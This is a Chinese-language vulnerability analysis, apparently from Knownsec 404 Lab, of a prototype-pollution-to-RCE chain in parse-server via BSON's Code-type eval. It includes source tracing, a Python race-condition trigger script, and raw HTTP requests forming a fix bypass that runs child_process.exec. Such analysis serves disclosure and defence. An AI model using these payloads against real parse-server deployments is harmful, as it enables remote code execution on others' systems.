作者:billion@知道创宇404实验室日期:2023年3月31日
parse-server公布了一个原型污染的RCE漏洞,看起来同mongodb有关联,so跟进&&分析一下。
1、BSON潜在问题
参考资料
parse-server使用的mongodb依赖包版本是3.6.11,在node-mongodb-drive <= 3.7.3版本时,使用1.x版本的bson依赖处理数据。
根据BSON文档的介绍,存在一种Code类型,可以在反序列化时被执行
跟进BSON的序列化过程
}elseif(value['_bsontype'] ==='Code') {index = serializeCode(buffer,key,value,index,checkKeys,depth,serializeFunctions,ignoreUndefined);
当对象的_bsontype键为Code时,就会被判断为Code类型,后面就会调用serializeCode函数进行序列化。
在反序列化时,遇到Code类型,会进行eval操作
varisolateEval =function(functionString) {// Contains the value we are going to setvarvalue =null;// Eval the functioneval('value = '+ functionString);returnvalue;};
根据官方的文档,可以了解到这本身就是bson内置的功能,不过需要打开evalFunctions参数
翻翻源码可以看到
vardeserializeObject =function(buffer, index, options, isArray) {varevalFunctions = options['evalFunctions'] ==null?false: options['evalFunctions'];varcacheFunctions = options['cacheFunctions'] ==null?false: options['cacheFunctions'];varcacheFunctionsCrc32 =options['cacheFunctionsCrc32'] ==null?false: options['cacheFunctionsCrc32'];
evalFunctions参数默认情况下是未定义的,所以可以用原型污染来利用,该特性可以一直利用到bson <= 4.1.0
2、Code上传点
参考资料
mongodb在处理文件时,采用了一种叫GridFS的东西
看图大致可以了解到GridFS在存储文件时,把元数据(metadata)放到fs.files表,把文件内容放到fs.chunks表
跟进parse-server的源码,可以找到处理metadata的过程
node_modules/parse-server/lib/Routers/FilesRouter.js
node_modules/parse-server/lib/Adapters/Files/GridFSBucketAdapter.js
输入进来的metadata被直接传入到了数据库中,并没有进行过滤
在测试的时候,发现metadata并没有保存到数据库中
排查了一下middleware,可以找到以下验证
node_modules/parse-server/lib/middlewares.js
只有当fileViaJSON=true时,才会把fileData拷贝过去
if(fileViaJSON) {req.fileData = req.body.fileData;// We need to repopulate req.body with a buffervarbase64 = req.body.base64;req.body = Buffer.from(base64,'base64');}
回溯一下
varfileViaJSON =false;if(!info.appId || !_cache.default.get(info.appId)) {// See if we can find the app id on the body.if(req.bodyinstanceofBuffer) {try{req.body = JSON.parse(req.body);}catch(e) {returninvalidRequest(req, res);}fileViaJSON =true;}
当info.appId没有设置的话,就会进入if,fileViaJSON就被设置为true;或者是缓存中没有info.appId的信息
functionhandleParseHeaders(req, res, next) {varmount = getMountForRequest(req);varinfo = {appId: req.get('X-Parse-Application-Id'),
向上翻翻代码,就可以看到appId的赋值
后面还会有一处校验
if(req.body && req.body._ApplicationId && _cache.default.get(req.body._ApplicationId) && (!info.masterKey || _cache.default.get(req.body._ApplicationId).masterKey === info.masterKey)) {info.appId = req.body._ApplicationId;info.javascriptKey = req.body._JavaScriptKey ||'';}else{returninvalidRequest(req, res);}
这一步需要保证_ApplicationId是正确的appId,否则就退出了
所以认证这里有两种构造方式
No.1
让请求头中的X-Parse-Application-Id是一个不存在的appid,然后修改body中的_ApplicationId是正确的appid
在fs.files表中也能够看到上传的metadata信息
现在Code类型已经上传了,所以在找到一处原型污染,就可以RCE了
No.2
不设置X-Parse-Application-Id请求头
结果
3、原型污染
参考资料
根据官方公告,应该在mongo目录下有原型污染,大致上过了一遍代码,感觉下面这一部分可能有
for(varrestKeyinrestUpdate) {if(restUpdate[restKey] && restUpdate[restKey].__type ==='Relation') {continue;}varout = transformKeyValueForUpdate(className, restKey, restUpdate[restKey], parseFormatSchema);// If the output value is an object with any $ keys, it's an// operator that needs to be lifted onto the top level update// object.if(typeofout.value ==='object'&& out.value !==null&& out.value.__op) {mongoUpdate[out.value.__op] = mongoUpdate[out.value.__op] || {};mongoUpdate[out.value.__op][out.key] = out.value.arg;}else{mongoUpdate['$set'] = mongoUpdate['$set'] || {};mongoUpdate['$set'][out.key] = out.value;}}
如果能控制out.value.__opout.keyout.value.arg,那就可以污染原型的evalFunctions了
回溯变量,跟进transformKeyValueForUpdate()函数
const transformKeyValueForUpdate = (className, restKey, restValue, parseFormatSchema) => {// Check if the schema is known since it's a built-in field.varkey = restKey;vartimeField =false;switch (key) {case'objectId':case'_id':if(['_GlobalConfig','_GraphQLConfig'].includes(className)) {return{key: key,value: parseInt(restValue)};}key ='_id';break;case'createdAt':case'_created_at':key ='_created_at';timeField =true;break;case'updatedAt':case'_updated_at':key ='_updated_at';timeField =true;break;case'sessionToken':case'_session_token':key ='_session_token';break;case'expiresAt':case'_expiresAt':key ='expiresAt';timeField =true;break;........case'_rperm':case'_wperm':return{key: key,value: restValue};......}
返回值大都是{key, value}的形式,如果key是case中的任一个,那必然不可能返回__proto__,继续看后面的部分
if(parseFormatSchema.fields[key] && parseFormatSchema.fields[key].type ==='Pointer'|| !parseFormatSchema.fields[key] && restValue && restValue.__type =='Pointer') {key ='p'+ key;}// Handle atomic valuesvarvalue = transformTopLevelAtom(restValue);if(value !== CannotTransform) {if(timeField &&typeofvalue ==='string') {value =newDate(value);}if(restKey.indexOf('.') >0) {return{key,value: restValue};}return{//这里key,value};}// Handle arrays
在最终污染的位置restKey应该是evalFunctions,所以不会进入if (restKey.indexOf('.') > 0) {这个分支,可以通过第二个return返回key和value
跟进transformTopLevelAtom()函数
functiontransformTopLevelAtom(atom, field) {switch (typeofatom) {.......case'object':if(atominstanceofDate) {// Technically dates are not rest format, but, it seems pretty// clear what they should be transformed to, so let's just do it.returnatom;}if(atom ===null) {returnatom;}// TODO: check validity harder for the __type-defined typesif(atom.__type =='Pointer') {return${atom.className}$${atom.objectId};}if(DateCoder.isValidJSON(atom)) {returnDateCoder.JSONToDatabase(atom);}if(BytesCoder.isValidJSON(atom)) {returnBytesCoder.JSONToDatabase(atom);}if(GeoPointCoder.isValidJSON(atom)) {returnGeoPointCoder.JSONToDatabase(atom);}if(PolygonCoder.isValidJSON(atom)) {returnPolygonCoder.JSONToDatabase(atom);}if(FileCoder.isValidJSON(atom)) {returnFileCoder.JSONToDatabase(atom);}returnCannotTransform;default:// I don't think typeof can ever let us get herethrownewParse.Error(Parse.Error.INTERNAL_SERVER_ERROR, really did not expect value: ${atom});}}
只需要让函数在前面的if中返回,就可以让value!==CannotTransform
挑一个FileCoder
varFileCoder = {databaseToJSON(object) {return{__type:'File',name: object};},isValidDatabaseObject(object) {returntypeofobject ==='string';},JSONToDatabase(json) {returnjson.name;},isValidJSON(value) {returntypeofvalue ==='object'&& value !==null&& value.__type ==='File';}};
汇总变量的变化,可以得到restUpdate的形式应该是下面这样
{"evalFunctions":{"type":"File","name":{"__op": "__proto","arg": true}}}
在找了好久之后,大概发现下面这样一条调用链
node_modules/parse-server/lib/Adapters/Storage/Mongo/MongoTransform.js transformUpdate()node_modules/parse-server/lib/Adapters/Storage/Mongo/MongoStorageAdapter.js updateObjectsByQuery()node_modules/parse-server/lib/Controllers/DatabaseController.js update()node_modules/parse-server/lib/RestWrite.js runBeforeSaveTrigger()node_modules/parse-server/lib/RestWrite.js execute()node_modules/parse-server/lib/RestWrite.jsnewRestWrite()node_modules/parse-server/lib/rest.js update()node_modules/parse-server/lib/Routers/ClassesRouter.js handleUpdate()
在update之前,需要先创建一条数据
触发update
修改成restUpdate,debug看看流程对不对
跟进代码可以发现,parse-server会对修改之后的类型做判断,上传的是一个Object类型,修改的是File类型,两者不匹配,所以就退出了。并且update包的类型是根据__type和name来的
不是很好绕过。只能在create包上做修改
通过调试代码发现,create包也会经过同样的类型判断过程,所以只需要把update包,复制一份到create中就好了
create包
update包
服务端报错信息,应该可以确定,evalFunctions已经污染上了
为了保证不会因为服务端的报错,导致异常退出,这里用条件竞争来做
deftriger_unserialize(item):ifitem !=400:requests.get(url = file_path)r3 = requests.put(url = url +f"/parse/classes/{path}/{objectId}",data = json.dumps({"evalFunctions":{"type":"File","name":{"__op":"__proto","arg":"1"}},"cheatMode":"false"}),headers = {"X-Parse-Application-Id":f"{appid}",'Content-Type':'application/json'})withconcurrent.futures.ThreadPoolExecutor(max_workers=200)asexecutor:futures = [executor.submit(triger_unserialize, item)foriteminrange(0,800)]
4、修复绕过
参考资料
官方的修复措施是对metadata进行过滤,但是没有修复原型污染,所以,找一个新的可以上传Code类型的位置,就可以RCE
Hooks
创建hook函数
POST /parse/hooks/triggers HTTP/1.1Host:ip:portUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36Accept:/Content-Type:application/jsonContent-Length:254Connection:close{"_ApplicationId":"123","className":"cname","triggerName":"tname","url":{"_bsontype":"Code","code":"delete ({}).proto.evalFunctions; require(child_process).exec('touch /tmp/123.txt')"},"functionName":"f34","_MasterKey":"123456"}
触发
GET /parse/hooks/functions/f34 HTTP/1.1Host:ip:portUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36Accept:/Content-Length:52Content-Type:application/jsonConnection:close{"_ApplicationId":"123","_MasterKey":"123456"}
这种方式得知道MasterKey才能利用,还是有些限制的
在最新版(6.0.0)测试的时候发现,parse-server在5.1.0版本时,就已经把 node-mongodb-drive的版本换成了4.3.1
bson的版本也随之变成了4.6,就没有办法执行eval了
bson5.0中直接删除了该eval操作
https://jira.mongodb.org/browse/NODE-4711
作者名片
往 期 热 门
(点击图片跳转)
戳“阅读原文”更多精彩内容!